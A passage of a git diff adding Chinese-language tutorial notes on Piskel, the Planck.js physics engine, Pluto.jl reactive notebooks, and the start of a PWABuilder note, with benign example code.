Spritesheet,记下每行帧数 +6. 在 [[phaser]] 或 [[godot]] 教程里加载同尺寸 `frameWidth`/`hframes` 验证 + +进阶:多图层拆身体部件、**Dithering** 画渐变阴影、导入 GIF 改既有素材、下载桌面离线版在无网课堂使用。 + +--- + +## 常见问题 + +**Q:导出精灵表后游戏里动画闪烁或裁切?** +A:检查导出 spacing 是否为 0;`frameWidth` 是否与 Piskel 画布宽一致;PNG 是否被后续工具误压缩(应用近邻缩放)。 + +**Q:Brave 里颜色变了?** +A:关闭 Shields 的 fingerprinting,或换 Firefox/Chrome,参见 [Wiki: canvas fingerprinting](https://github.com/piskelapp/piskel/wiki/About-canvas%E2%80%90based-browser-fingerprinting-and-Brave-browser)。 + +**Q:能否命令行批处理?** +A:官方无头 CLI;可自写脚本解析 `.piskel` 用 `sharp`/`canvas` 烘图,或导出 ZIP 帧后用 ImageMagick `montage` 拼表。 + +**Q:和 [[aseprite]] 工程互转?** +A:经 **PNG 序列 ZIP** 中转最稳:Piskel 导出 ZIP → Aseprite 导入为精灵;反向亦然。直接 `.piskel` ↔ `.aseprite` 无官方一键工具。 + +--- + +## 延伸阅读 + +- 仓库 README 与 [Wiki](https://github.com/piskelapp/piskel/wiki) +- 文件格式说明:[Piskel canvas(ArchiveTeam)](http://fileformats.archiveteam.org/wiki/Piskel_canvas) +- 现代化路线图:[Piskel modernization #1246](https://github.com/piskelapp/piskel/issues/1246) +- 社区 MCP 封装(AI 驱动作画实验):[piskel-mcp-server](https://github.com/yafeiaa/piskel-mcp-server) +- 相关笔记:[[aseprite]]、[[tiled]]、[[phaser]]、[[godot]]、[[love2d]]、[[gimp]] diff --git a/src/content/docs/projects/planck.md b/src/content/docs/projects/planck.md new file mode 100644 index 000000000..a5ab6b219 --- /dev/null +++ b/src/content/docs/projects/planck.md @@ -0,0 +1,346 @@ +--- +title: Planck.js — Box2D 纯 JS 移植 +来源: 'https://github.com/piqnt/planck.js' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**Planck.js** 是由 Ali Shakiba(shakiba)维护的**开源 JavaScript/TypeScript 2D 刚体物理引擎**,MIT 协议,GitHub 仓库 [piqnt/planck.js](https://github.com/piqnt/planck.js) 约 5k+ star。它不是用 Emscripten 把 C++ Box2D「糊」进浏览器,而是**用 JS/TS 重写 Box2D 算法**——碰撞检测、约束求解、关节模型与经典 Box2D 一脉相承,但源码可读、可调试、可 tree-shake,适合在浏览器、Node.js 或混合栈里直接 `import`。 + +日常类比:把 Planck.js 想成**把 Box2D 裁判手册翻译成白话并搬进浏览器**。原版 Box2D 像一本德文技术规范(`b2World`、`b2BodyDef`、指针与宏);Planck 保留同一套「世界 → 刚体 → 夹具 → 步进」判球逻辑,却换成 JavaScript 口语(`World`、`createBody({ type: 'dynamic' })`、普通对象字面量)。你仍负责画精灵、播音效、写关卡;Planck 只管「下一帧箱子落哪儿、铰链转多少度」——和 Matter.js 一样属于**程序化动画**后端,但 API 与 Box2D 文档几乎一一对应,读 Erin Catto 的 GDC 讲义或 Box2D 手册时不会迷路。 + +与 **box2d.js**(WASM/ asm.js 绑定)相比,Planck 的优势是**零 native 依赖、源码即教材**;与 **Matter.js**(原生 JS、自带 Canvas 渲染)相比,Planck 更贴近 Box2D 关节体系(Revolute、Prismatic、Gear…),适合已经熟悉 Box2D 或需要复杂机械约束的项目。MelonJS 等引擎的 `PhysicsAdapter` 也可切换到 Planck,游戏主逻辑不必重写。 + +```javascript +import { World, Box } from 'planck'; + +// 最小闭环:建世界 → 地面 + 动态箱 → 模拟若干步 +const world = new World({ gravity: { x: 0, y: -10 } }); + +const ground = world.createBody({ type: 'static', position: { x: 0, y: -10 } }); +ground.createFixture({ shape: Box(50, 0.5) }); + +const box = world.createBody({ + type: 'dynamic', + position: { x: 0, y: 4 }, +}); +box.createFixture({ shape: Box(1, 1), density: 1, friction: 0.3 }); + +for (let i = 0; i < 120; i++) { + world.step(1 / 60, 8, 3); +} +console.log(box.getPosition()); // 箱子已下落并可能与地面接触 +``` + +上面与官方 [Hello World](https://piqnt.com/planck.js/docs/hello-world) 同构:重力向下、静态地面用 `Box` 薄片、动态体靠 `density` 算质量,循环里 `world.step` 推进仿真。 + +## 为什么重要 + +不了解 Planck.js,下面这些事都难以解释: + +- 为什么有人坚持「Box2D 系」而不是 Matter——**关节类型、接触回调、连续碰撞**与 C++ Box2D 文档对齐,迁移旧项目或读 GDC 讲义成本更低 +- 为什么纯 JS 物理引擎仍值得存在——避免 WASM 包体、跨语言调试和移动端 JIT 冷启动问题;Planck 内部算法与 Box2D 同源,行为可预期 +- 为什么物理坐标要用**米**而不是像素——与 Box2D 一样按 MKS 调参;把 800px 宽角色当 800m 会导致堆叠不稳、穿透和「弹飞」 +- 为什么 `world.step` 的 `timeStep` 应固定为 1/60 而渲染帧率可变——离散积分在大 dt 下会让高速物体**隧道穿透**(tunneling);Planck 提供 `setContinuousPhysics` 缓解薄物体穿透 +- 为什么 MelonJS、部分 HTML5 工具链列出 planck 适配器——它是浏览器里**可读源码的 Box2D 替身**,教育场景与二次开发友好 + +## 核心要点 + +### 1. 物理世界(World) + +`World` 是一帧仿真的总容器,持有所有 body、fixture、joint 与自动生成的 contact。每调用一次 `world.step(timeStep, velocityIterations?, positionIterations?)`,内部大致顺序为: + +1. **Broad-phase**:动态树(dynamic tree)筛出可能接触的 fixture 对 +2. **Narrow-phase**:精确求交,生成接触流形(manifold) +3. **Solver**:对接触约束与关节约束施加冲量,修正速度 +4. **Integration**:用新速度更新位姿 + +类比:粗检测像快递按区域分拣;细检测像逐件称重;求解器像调解员决定两辆车擦碰后各退多少。 + +Planck **不提供默认渲染器**——与 Matter.js 内置 `Render` 不同。集成方式固定为:游戏循环里 `world.step`,再遍历 body 把 `getPosition()` / `getAngle()` 同步到 Canvas、Pixi、Phaser 或 DOM。 + +### 2. 刚体(Body)与夹具(Fixture) + +| 概念 | 职责 | +|------|------| +| **Body** | 质心位姿、线/角速度;类型 `static` / `kinematic` / `dynamic` | +| **Fixture** | 把 **Shape** 挂在 body 上,带密度、摩擦、弹性、传感器标志 | +| **Shape** | 几何:`Box`、`Circle`、`Edge`、`Polygon` 等;Planck 中 shape **不可变**,创建 fixture 时不会克隆副本 | + +创建套路:`world.createBody({ type, position, angle })` → `body.createFixture({ shape, density, friction, restitution })`。 + +常用 fixture 选项: + +| 选项 | 含义 | +|------|------| +| `density` | 密度,与形状面积算质量与转动惯量 | +| `friction` | 库仑摩擦,多在 0~1 | +| `restitution` | 恢复系数,0 = 不弹,1 = 完全弹性 | +| `isSensor` | 传感器:产生接触但不产生碰撞响应,用于拾取、触发区 | + +静态体默认 `type: 'static'`,不受力也不被推动;`kinematic` 可由代码设速度驱动平台;`dynamic` 完全受力和约束影响。 + +### 3. 形状(Shape)工厂 + +Planck 提供与 Box2D 对应的形状构造器(多为函数或类): + +- `Box(halfWidth, halfHeight)` — 轴对齐矩形(半宽半高) +- `Circle(radius)` — 圆 +- `Edge(v1, v2)` — 线段,常用于地面、斜坡 +- `Polygon(vertices)` — 凸多边形顶点数组 + +**Edge** 特别适合无限长地面:用 `createFixture({ shape: Edge({ x: -50, y: 0 }, { x: 50, y: 0 }) })` 搭平台,比巨宽 `Box` 更省且数值更稳。 + +### 4. 关节(Joint) + +关节把两个 body 约束在一起,是 Box2D 系相对 Matter「约束 API」更完整的一环: + +| 关节 | 典型用途 | +|------|----------| +| **RevoluteJoint** | 铰链、摆锤、门轴 | +| **PrismaticJoint** | 活塞、滑动门 | +| **DistanceJoint** | 绳、链(固定两锚点距离) | +| **GearJoint** | 齿轮传动 | +| **WheelJoint** | 2D 车辆悬挂 | + +创建方式:`world.createJoint(new RevoluteJoint(options, bodyA, bodyB, anchorPoint))`。锚点 `anchorPoint` 是**世界坐标**下的铰链位置;创建前两个 body 应已摆到正确相对位姿。 + +**注意**:`createJoint` / `destroyBody` 在 `world.step` 执行期间会被**锁定**;若在步进中改场景,用 `world.queueUpdate(fn)` 把修改推迟到步进结束后。 + +### 5. 事件(World#on / #off) + +Planck 在 `World` 上扩展了 Box2D 没有的事件总线: + +| 事件 | 时机 | +|------|------| +| `begin-contact` | 两 fixture 开始接触 | +| `end-contact` | 接触结束 | +| `pre-solve` | 求解前,可修改接触冲量 | +| `post-solve` | 求解后,可读冲量做音效/伤害 | + +用法:`world.on('begin-contact', (contact) => { ... })`;移除用 `world.off`。适合计分、播放碰撞音、统计连击,而不必手写 broad-phase 查询。 + +### 6. 查询(Query) + +- `world.queryAABB(aabb, callback)` — 矩形区域内有哪些 fixture +- `world.rayCast(start, end, callback)` — 射线检测,用于点击选中、子弹命中 + +回调里可过滤传感器、按 fixture 返回 fraction 控制「最近命中」或「穿透多段」。 + +### 7. 与 C++ Box2D 的 API 差异(读旧资料时对照) + +| C++ Box2D | Planck.js | +|-----------|-----------| +| `b2World` | `World` | +| `b2BodyDef` + `CreateBody` | `createBody({ ... })` 字面量 | +| `b2FixtureDef` | `createFixture({ ... })` | +| `b2Vec2` | `{ x, y }` 或 `Vec2` | +| `UpperCamelCase` 方法 | `lowerCamelCase`(如 `getPosition`) | +| 无统一事件 | `world.on('begin-contact', ...)` | + +文档 [piqnt.com/planck.js/docs](https://piqnt.com/planck.js/docs/) 与 Box2D 手册章节对应,名词常互换使用。 + +### 8. 单位与步进参数 + +- **长度**:米(m);像素显示前自行 `× scale` +- **质量**:千克(kg);由 `density × 面积` 推导 +- **时间**:秒(s);`world.step(1/60)` 表示 60Hz 物理 +- **迭代次数**:`velocityIterations`(默认 8)、`positionIterations`(默认 3)越高越稳但越慢;堆叠关卡可适当提高 + +`world.setAllowSleeping(true)` 可让静止岛休眠,大场景省 CPU;动态体被唤醒后会重新参与求解。 + +## 实践案例 + +### 案例 1:Canvas 自定义循环——落箱与同步绘制 + +Planck 不带渲染器,典型集成是 `requestAnimationFrame` + 2D Canvas: + +```html + + + + + Planck.js 最小 Canvas 示例 + + + + + + +``` + +**要点**:物理用米、显示用 `SCALE` 映射;Canvas Y 轴向下故 `500 - y * SCALE`;`step` 用固定 1/60 而非可变 `dt`,避免穿透;只画了一个 box,地面用矩形近似,完整项目应遍历 `world.getBodyList()` 绘制所有动态体。 + +### 案例 2:铰链摆锤 + 碰撞事件 + +演示 `RevoluteJoint` 与 `begin-contact` 监听: + +```javascript +import { World, Box, RevoluteJoint } from 'planck'; + +const world = new World({ gravity: { x: 0, y: -10 } }); + +const ground = world.createBody({ type: 'static', position: { x: 0, y: 0 } }); +ground.createFixture({ shape: Box(20, 0.5) }); + +// 铰链锚点(世界坐标) +const anchor = { x: 0, y: 8 }; +const pivot = world.createBody({ + type: 'static', + position: anchor, +}); +const pendulum = world.createBody({ + type: 'dynamic', + position: { x: 0, y: 5 }, +}); +pendulum.createFixture({ shape: Box(0.25, 2.5), density: 1, friction: 0.1 }); + +world.createJoint( + new RevoluteJoint({ + enableLimit: true, + lowerAngle: -0.8, + upperAngle: 0.8, + }, pivot, pendulum, anchor), +); + +world.on('begin-contact', (contact) => { + const fixtureA = contact.getFixtureA(); + const fixtureB = contact.getFixtureB(); + const bodyA = fixtureA.getBody(); + const bodyB = fixtureB.getBody(); + if (bodyA === pendulum || bodyB === pendulum) { + console.log('摆锤碰到东西了'); + } +}); + +// 给摆锤初速度 +pendulum.setLinearVelocity({ x: 3, y: 0 }); + +for (let i = 0; i < 300; i++) { + world.step(1 / 60); +} +``` + +**要点**:`RevoluteJoint` 第四个参数是**世界坐标**锚点,不是局部 offset;`enableLimit` 限制摆动角度;`setLinearVelocity` 在步进前设置初态;事件在 `step` 内触发,回调里不要 `createJoint`(世界 locked 时用 `queueUpdate`)。 + +### 案例 3:Testbed 快速试验(官方推荐) + +仓库提供 **Testbed** 运行时,适合复现 bug 与学习示例: + +```javascript +import { Testbed, World, Box } from 'planck'; + +const testbed = Testbed.mount(); +const world = new World({ gravity: { x: 0, y: -10 } }); +testbed.world = world; + +const body = world.createBody({ type: 'dynamic', position: { x: 0, y: 4 } }); +body.createFixture({ shape: Box(1, 1), density: 1 }); + +testbed.start(world); +``` + +访问 [piqnt.com/planck.js](https://piqnt.com/planck.js/) 可在线看数十个官方 demo(Revolute、Car、Rope、Breakable…)。向 GitHub 报 issue 时附带 Testbed 复现代码可显著加快修复。 + +## 安装与集成 + +| 方式 | 命令 / 用法 | +|------|-------------| +| npm | `npm install planck` | +| ESM | `import { World, Box } from 'planck'` | +| CDN | `import from 'https://esm.sh/planck'` | +| TypeScript | 包内自带类型定义 | + +与打包器(Vite、Webpack、esbuild)兼容;Tree shaking 可只打入用到的关节类。Node.js 中可用于 headless 回归测试(只 `step`、不画图)。 + +**MelonJS**:v19.5+ 通过 `PhysicsAdapter` 可选 planck,关卡代码尽量只调引擎抽象层,避免直接依赖 Planck 类型。 + +## 与其它 2D 物理引擎对比 + +| 引擎 | 实现 | 渲染 | 关节/约束 | 适合场景 | +|------|------|------|-----------|----------| +| **Planck.js** | Box2D 算法 JS 重写 | 无(自绘) | Box2D 全套关节 | 熟悉 Box2D、复杂机械、读 GDC 讲义 | +| **Matter.js** | 原生 JS | 内置 Canvas | Constraint API 较扁平 | 快速 HTML5 demo、教育页 | +| **box2d.js** | WASM C++ | 无 | 与 C++ 一致 | 追求与 C++ 二进制一致的行为 | +| **p2.js** | 原生 JS | 无 | 中等 | 历史项目维护 | + +选型口诀:**要 Box2D 文档一字不差跟着做 → Planck;要五分钟出画面 → Matter;要与 C++ 二进制同构 → box2d.js/WASM**。 + +## 学习路径 + +1. 读官方 [Hello World](https://piqnt.com/planck.js/docs/hello-world) 与 [Overview](https://piqnt.com/planck.js/docs/),跑在线 Examples +2. 对照本仓库笔记 [Box2D](box2d.md) 理解 broad-phase、冲量求解、休眠 +3. 选一个 Joint 文档(Revolute → Wheel → Gear)做小 demo +4. 用 `queryAABB` / `rayCast` 实现鼠标拖拽或点击发射 +5. 读 `CHANGES.md` 了解相对 C++ 的刻意差异(shape 不可变、事件 API) + +## 常见坑 + +| 现象 | 原因 | 处理 | +|------|------|------| +| 物体抖动、堆叠炸开 | 像素当米、质量极大 | 统一 MKS,`SCALE` 只用于显示 | +| 高速穿透薄墙 | `step` 用过大 `timeStep` | 固定 1/60,或提高迭代、开 continuous physics | +| `createJoint` 报错 | 在 `step` 内改世界 | 用 `queueUpdate` | +| 铰链位置怪异 | 锚点用了局部坐标 | 铰链参数用世界坐标,或先 `body.getWorldPoint` | +| 传感器没碰撞感 | `isSensor: true` | 预期行为;用 `begin-contact` 做逻辑 | +| 与 Matter 代码混拷失败 | API 不同 | 按 Body/Fixture/Joint 模型改写,勿假设 `Composite.add` | + +## 资源 + +- 官网与文档:[piqnt.com/planck.js](https://piqnt.com/planck.js/) +- GitHub:[piqnt/planck.js](https://github.com/piqnt/planck.js) +- Discord:[社区邀请链接](https://discord.com/invite/znjh6J7) +- Box2D 原版:[erincatto/box2d](https://github.com/erincatto/box2d)(本仓库 [box2d.md](box2d.md)) +- 同类 JS 笔记:[matter-js.md](matter-js.md)、[cannon-es.md](cannon-es.md)(3D 对照) + +## 小结 + +Planck.js 把 Box2D 的刚体仿真搬进现代 JavaScript:无 WASM、API 口语化、关节与接触模型完整,但不包渲染。零基础上手记住四步:**`World` 设重力 → `createBody` + `createFixture` → 循环 `step` → 读位姿画到屏幕**。复杂玩法靠关节和 `world.on` 事件扩展。读完本文后,建议打开官方 Testbed 里 Revolute 与 Car 示例对照源码走一遍,比死记 API 更快建立「约束即动画」的直觉。 diff --git a/src/content/docs/projects/pluto-jl.md b/src/content/docs/projects/pluto-jl.md new file mode 100644 index 000000000..54df83f2b --- /dev/null +++ b/src/content/docs/projects/pluto-jl.md @@ -0,0 +1,244 @@ +--- +title: Pluto.jl — Julia 反应式笔记本 +来源: https://github.com/fonsp/Pluto.jl +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**Pluto.jl** 是 Julia 生态里的**反应式(reactive)笔记本**:把代码拆成多个 cell,改一个参数或函数,所有依赖它的 cell 会自动重跑——像电子表格里改 A1 后引用它的公式立刻重算。笔记本保存为**纯 Julia 源文件**(`.jl`),不是 JSON;每个 notebook 自带独立 Julia 进程与自动管理的包环境,浏览器里即开即写。项目由 Fons van der Plas 等人发起,现维护于 [JuliaPluto/Pluto.jl](https://github.com/JuliaPluto/Pluto.jl)(上游 README 仍指向 `fonsp/Pluto.jl`);截至 2026 年 3 月稳定版已到 **v0.20.x**,支持 Julia **1.10–1.12**。 + +日常类比: + +> 传统 [[jupyter-notebook]] 像**按页码手写的实验日志**:你在第 2 格定义 `n = 10`,第 5 格画图用了 `n`,后来把第 2 格改成 `n = 100` 却忘了重跑第 5 格——图里仍是旧数据,kernel 里还留着「跑过但没显示」的中间状态。 +> Pluto 像**带公式的 Excel**:改定义 `n` 的那一格,所有引用 `n` 的 cell 自动更新;删掉定义 `apple` 的 cell,`apple` 就从内存消失,不会幽灵般留在后台。你看到的代码,就是当前程序状态的全部真相——官方称之为 **「At any instant, the program state is completely described by the code you see.」** + +最小上手: + +```julia +# 在 Julia REPL 里(需先安装 Julia 1.10+) +using Pkg +Pkg.add("Pluto") +import Pluto +Pluto.run() # 自动打开浏览器,默认 http://localhost:1234 +``` + +也可指定 notebook 路径启动:`Pluto.run(notebook="/path/to/notebook.jl")`。 + +## 为什么重要 + +Pluto 把 Julia 的「科学计算脚本 + 交互探索」两条路合成一条,和 Python 侧的 [[marimo]]、Observable 同属**新一代 reactive notebook** 思路: + +- **消除隐藏状态**:Jupyter 的「执行顺序 ≠ 阅读顺序」是 reproducibility 的经典坑;Pluto 用静态分析建依赖图,改上游必更新下游 +- **Git 友好**:`.jl` 纯文本 diff 清晰,可 `include` 进普通 Julia 项目,不像 `.ipynb` JSON 噪声大 +- **自带 Pkg 环境**:`using Plots` 时 Pluto 为 notebook 自动建独立环境,Manifest 信息写入文件,别人打开能复现同一套包版本 +- **交互控件一等公民**:`PlutoUI.jl` + `@bind` 把浏览器滑块/按钮绑到 Julia 变量,配合 reactivity 做参数探索和小型 dashboard,不必另写 [[streamlit]] +- **Julia 原生**:无 Python 式 `%` 魔法、无 wrapper 改你的代码——分析一次后按原样执行 + +## 核心概念 + +### 1. Cell(单元格)与 `.jl` 文件 + +Pluto notebook 在磁盘上是一个 **Julia 脚本**,由多个 `### Cell` 块组成(Pluto 保存时自动组织)。每个 cell 可写任意 Julia 代码;**排版顺序不必等于执行顺序**——引擎根据变量依赖决定谁先跑。 + +| 特性 | Jupyter(Julia kernel) | Pluto.jl | +|------|-------------------------|----------| +| 文件格式 | `.ipynb`(JSON) | `.jl`(纯 Julia) | +| 执行触发 | 手动 Shift+Enter | 依赖变化自动级联 | +| 全局变量 | 任意 cell 可重复定义 | **每个全局名只能在一个 cell 里定义** | +| 删/改变量定义 | 旧值可能仍在 workspace | 变量从进程删除,依赖 cell 更新 | +| 包环境 | 通常共用当前 Project | 每 notebook 独立环境 + Manifest 嵌入 | + +### 2. Reactivity(反应式执行) + +Pluto 在**运行前**对每个 cell 做**语法树分析**:找出全局变量的 **定义(assignment)** 与 **引用(reference)**,在 cell 之间连边形成 **DAG(有向无环图)**。 + +- 你修改 cell A 的代码并运行 → Pluto 找出所有**直接或间接引用 A 所定义变量**的下游 cell → 按拓扑序重跑 +- 若 A 不再定义某变量(例如把 `apple = 1` 改成 `banana = 2`),`apple` **被删除**,引用它的 cell 会报错或更新,不会静默用旧值 +- **不能**在两个 cell 里分别 `x = 1` 和 `x = 2`——重复定义全局变量会被拒绝,这正是 reactivity 能推理的前提 + +与 [[marimo]] 类似:Pluto 跟踪的是**变量名的绑定**,不是对象原地突变。`a[5] = 3` 或 `a.field = 2` **不会**触发 reactivity;若需要「可变但不级联」的状态,可用 `Ref`(见官方 Wiki)。 + +**没有全局「Jupyter 模式」开关**——若某 cell 不想参与级联,可 **Disable cell**(禁用后其定义不参与图)。 + +### 3. 架构一瞥(浏览器 + Julia 双进程) + +| 层 | 技术 | 职责 | +|----|------|------| +| **Frontend** | JavaScript(浏览器) | 编辑 cell、展示输出、PlutoUI 控件 | +| **Backend** | Julia HTTP 服务 | 静态分析、调度 reactive run、同步状态 | +| **Worker** | 每 notebook 一个 Julia 子进程 | 实际执行用户代码 | + +前后端通过类似 **Firebase 的共享状态对象** 同步(Pluto 自研 `Firebasey.jl` 做 diff):cell 代码、输出、日志、运行状态都进 JSON-like 结构,变更只推送 diff。用户代码**从不**在 server 进程里跑——隔离 crash 与包污染。 + +### 4. `@bind` 与 PlutoUI.jl + +`@bind` 把 HTML 控件与 Julia 变量**双向绑定**:用户拖 slider → 变量更新 → reactive 级联重跑依赖 cell。`PlutoUI.jl` 提供 slider、textfield、button、filepicker 等;也可自定义 Web Component(HTML/CSS/JS + Julia API)。 + +典型模式: + +```julia +# cell 1 — 控件 +@bind α Slider(0:0.01:1, default=0.5, show_value=true) + +# cell 2 — 依赖 α 的计算与作图(α 一变自动重跑) +using Plots +plot(0:0.01:2π, x -> sin(α * x), label="sin($(α) x)") +``` + +### 5. 包管理与可复现性 + +首次 `using DataFrames` / `Plots` 等,Pluto 为该 notebook **创建独立环境**并 `Pkg.add` 所需包;环境快照(含版本)写入 `.jl` 文件。他人用 Pluto 打开同一文件时,自动还原环境——无需口头说「请先 `] add Plots`」。 + +注意:个人 `startup.jl` **不会**自动加载(为 reproducibility);官方建议把需要的初始化写进 notebook 的 `begin ... end` 块,或显式 `include`(后者仅在你机器上有效)。 + +### 6. 导出与协作 + +- **HTML / PDF**:隐藏代码、保留输出,适合讲故事 +- **纯 `.jl`**:可当普通脚本维护,或 `include` 进 Julia 包 +- **Featured notebooks**: [plutojl.org](https://plutojl.org/) 上可一键在浏览器跑示例 + +### 7. 与 Jupyter / marimo 怎么选 + +| 场景 | 更合适的工具 | +|------|----------------| +| 课堂/论文复现、强依赖顺序的手动演示 | Jupyter | +| Python 生态、SQL cell、一键 `marimo run` 变 App | [[marimo]] | +| **Julia 数值/可视化**、参数扫掠、消除 hidden state | **Pluto.jl** | +| 大型 DAG 里频繁 in-place 改数组 | 普通 `.jl` + Revise,或把突变写在定义 cell 内 | + +## 实践案例 + +### 案例 1:最小 reactive 链(变量级联) + +三个 cell 可任意上下排列,Pluto 仍按依赖执行: + +```julia +# cell 1 +n = 10 + +# cell 2 +squares = [k^2 for k in 1:n] + +# cell 3 +sum(squares) # 显示 385;把 cell 1 改成 n = 20 并运行 → 自动变 2870 +``` + +把 cell 1 改成 `n = 5` 后,cell 2、3 无需手动 Shift+Enter——这就是与 Jupyter 心智差异最大的地方。 + +### 案例 2:滑块驱动的函数探索 + +模拟官方首页「改参数 A → 图立刻更新」: + +```julia +# cell 1 — 参数控件 +using PlutoUI +@bind A Slider(0.1:0.1:3.0, default=1.0, show_value=true) + +# cell 2 — 模型(依赖 A) +f(x) = sin(A * x) + +# cell 3 — 可视化 +using Plots +xs = range(0, 4π; length=200) +plot(xs, f.(xs), title="A = $(A)", legend=false) +``` + +拖动 slider 时,cell 2、3 自动重算;`A` 始终是「当前代码里绑定的那个值」,不存在「控件显示 2.0 但内存里还是 1.0」的裂缝。 + +### 案例 3:多表达式与函数定义约束 + +**同一全局函数的多方法**必须写在**同一个 cell**(或用 `begin ... end` 包起来): + +```julia +# 一个 cell 内 +begin + g(x::Int) = x + 1 + g(x::Float64) = x + 0.5 +end +``` + +**变量修改**也只能在定义它的 cell 里完成——不能 cell 1 写 `total = 0`、cell 2 写 `total += 1`(第二格既非定义也非 Pluto 支持的 reactive 模式)。应合并: + +```julia +begin + total = 0 + for k in 1:10 + total += k + end + total # 最后一行作为输出 → 55 +end +``` + +### 案例 4:从 Pluto 到普通 Julia 项目 + +保存的 `analysis.jl` 可在无 Pluto 时作为脚本片段参考;生产管线里更常见做法是:在 Pluto 里**探索**,验证后将核心函数抽到 `src/MyPackage.jl`,用 `Pkg` 测试与 CI。Pluto 的定位是 **exploration & explanation**,不是替代完整的 Julia 包工程。 + +## 常用操作速查 + +| 操作 | 方式 | +|------|------| +| 运行 cell | Ctrl+Enter / 点击运行按钮 | +| 添加 cell | 点击 + 或快捷键 | +| 禁用 cell | 右键 Disable(不参与 reactive 图) | +| 查看依赖 | 官方示例与 Featured Notebooks 中的 Explain 类教程 | +| 安装包 | 直接 `using X`,Pluto 自动处理 | +| 多线程 | 启动前设 `JULIA_NUM_THREADS=4`,worker 会继承 | +| 打开指定文件 | `Pluto.run(notebook="path.jl")` | +| 自定义 sysimage | `Pluto.run(sysimage=...)` 加速大型栈 | + +## 局限与踩坑 + +1. **不能 `@async` 轮询改全局变量触发 UI**——Pluto 不做 runtime 变量监视;周期更新用 `@bind`、PlutoHooks、或外部进程推送 bond 值(`set_bond_values_reactive` API) +2. **重复定义全局**——两个 cell 都 `x = ...` 会报错;设计如此 +3. **in-place 突变**——`push!`、`df[!,:col]=...` 不触发下游;重构为「新变量名」或写在同一 cell +4. **宏与 `using`**——Pluto 会在必要时 **先跑一部分 cell** 再 macroexpand 分析后续 cell(实现复杂但对用户透明);极少数动态代码仍可能让静态分析失效 +5. **无「只跑这一格不管下游」的 Jupyter 语义**——改代码即可能级联;临时可 Disable 下游 cell +6. **大 notebook 全量重跑**——依赖链长时,改一行可能触发昂贵重算;拆 notebook 或用 Disabled cell 隔离调试段 + +## 与周边工具的关系 + +```text +Julia 安装 + └── Pkg.add("Pluto") → Pluto.run() + ├── 浏览器 UI(编辑 .jl notebook) + ├── PlutoUI.jl(@bind 控件) + ├── 每 notebook 独立 Julia worker + Pkg 环境 + └── 导出 HTML/PDF 或 include 进 Julia 项目 + +对比: + Jupyter + IJulia → 手动执行、隐藏状态、.ipynb + Pluto.jl → reactive、纯 .jl、Julia 原生 Pkg + marimo → Python 侧 reactive + marimo run App +``` + +- 已在用 **IJulia / Jupyter**:复杂课件仍可用 Jupyter;Julia 探索与参数交互推荐 Pluto +- 需要 **Python**:看 [[marimo]]、[[jupyterlab]] +- 需要 **静态站点里嵌 notebook**:Pluto 导出 HTML;或 Julia 社区的 Franklin/HDocumenter 与 Pluto 配合(视项目而定) + +## 学习路径建议 + +1. 安装 Julia → `Pkg.add("Pluto")` → `Pluto.run()` 打开 **Sample notebooks**(含 Reactivity、Interactivity) +2. 故意制造 Jupyter 式 bug:两格变量依赖,只改上游不重跑下游——在 Jupyter 复现「 stale 输出」,再在 Pluto 看自动修复 +3. 用 `@bind` + `Plots`/`PlutoUI` 做一个小型参数扫掠 dashboard +4. 读 [Reactivity 文档](https://plutojl.org/en/docs/reactivity/) 与 [Architecture](https://plutojl.org/en/docs/architecture/) 理解 DAG 与 Firebasey +5. 将探索代码抽到 `MyProject.jl`,用 `Pkg.test` 固化 + +## 小结 + +Pluto.jl 把 Julia 写成了**可复现、可交互、无隐藏状态**的笔记本:cell 之间靠变量依赖自动级联,文件是纯 `.jl`,包环境随文件走。它不适合替代完整 Julia 包开发流程,但在**教数值方法、调参、向同事演示模型**时,比传统 Jupyter 少一整类「我明明改了为什么图没变」的困惑。记住一句话:**你屏幕上看到的代码,就是此刻内存里的程序。** + +--- + +## 参考资料 + +- 官方站点与文档:[plutojl.org](https://plutojl.org/) +- 源码仓库:[github.com/fonsp/Pluto.jl](https://github.com/fonsp/Pluto.jl) / [JuliaPluto/Pluto.jl](https://github.com/JuliaPluto/Pluto.jl) +- Reactivity:[plutojl.org/en/docs/reactivity](https://plutojl.org/en/docs/reactivity/) +- Architecture:[plutojl.org/en/docs/architecture](https://plutojl.org/en/docs/architecture/) +- FAQ:[plutojl.org/en/docs/faq](https://plutojl.org/en/docs/faq/) +- PlutoUI:[github.com/JuliaPluto/PlutoUI.jl](https://github.com/JuliaPluto/PlutoUI.jl) +- 对比笔记:[[jupyter-notebook]]、[[jupyterlab]]、[[marimo]] diff --git a/src/content/docs/projects/pwa-builder.md b/src/content/docs/projects/pwa-builder.md new file mode 100644 index 000000000..0067d9882 --- /dev/null +++ b/src/content/docs/projects/pwa-builder.md @@ -0,0 +1,223 @@ +--- +title: PWABuilder — 把网站变成可上架商店的 PWA +来源: https://github.com/pwa-builder/PWABuilder +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +PWABuilder 是 Microsoft 开源的 **PWA(Progressive Web App,渐进式 Web 应用)工具家族**,核心站点 [pwabuilder.com](https://www.pwabuilder.com/) 能帮你:诊断现有网站离「合格 PWA」还差什么、在线生成/修补 Web Manifest 与 Service Worker、把 PWA **打包成可提交到应用商店的原生安装包**(Microsoft Store、Google Play、Meta Quest、iOS App Store 等)。日常类比: + +> 你开了一家只在浏览器里营业的网店(普通网站)。顾客得先打开浏览器、输入网址才能进来。 +> **PWA** 相当于给网店办了一张「实体会员卡」:顾客可以把图标钉到手机桌面,点开像原生 App 一样全屏打开,断网时还能靠缓存看已访问过的页面。 +> **PWABuilder** 则是这家店的「办证 + 报关一条龙中介」:它检查你的店有没有挂牌(manifest)、有没有夜班保安(service worker)、有没有 HTTPS 门禁;缺什么就帮你生成草稿;最后还能把整家店打成 `.msix` / `.aab` / Xcode 工程,送去各大「商场」(应用商店)上架。 + +一句话:**PWABuilder 把「我会写网页」和「我能上 App Store」之间的鸿沟,收成几次点击 + 少量配置**。 + +## 为什么重要 + +PWA 本身不神秘,难的是把 manifest、Service Worker、图标、商店元数据、各平台签名规则拼成可交付物。PWABuilder 的价值在于: + +- **降低入门门槛**:输入 URL 即可得到「成绩单」(Report Card),告诉你 Required / Recommended / Optional 字段缺哪些;不必先读完整本 W3C 规范。 +- **跨商店打包**:同一套 Web 前端,可生成 Windows(MSIX)、Android(Trusted Web Activity / 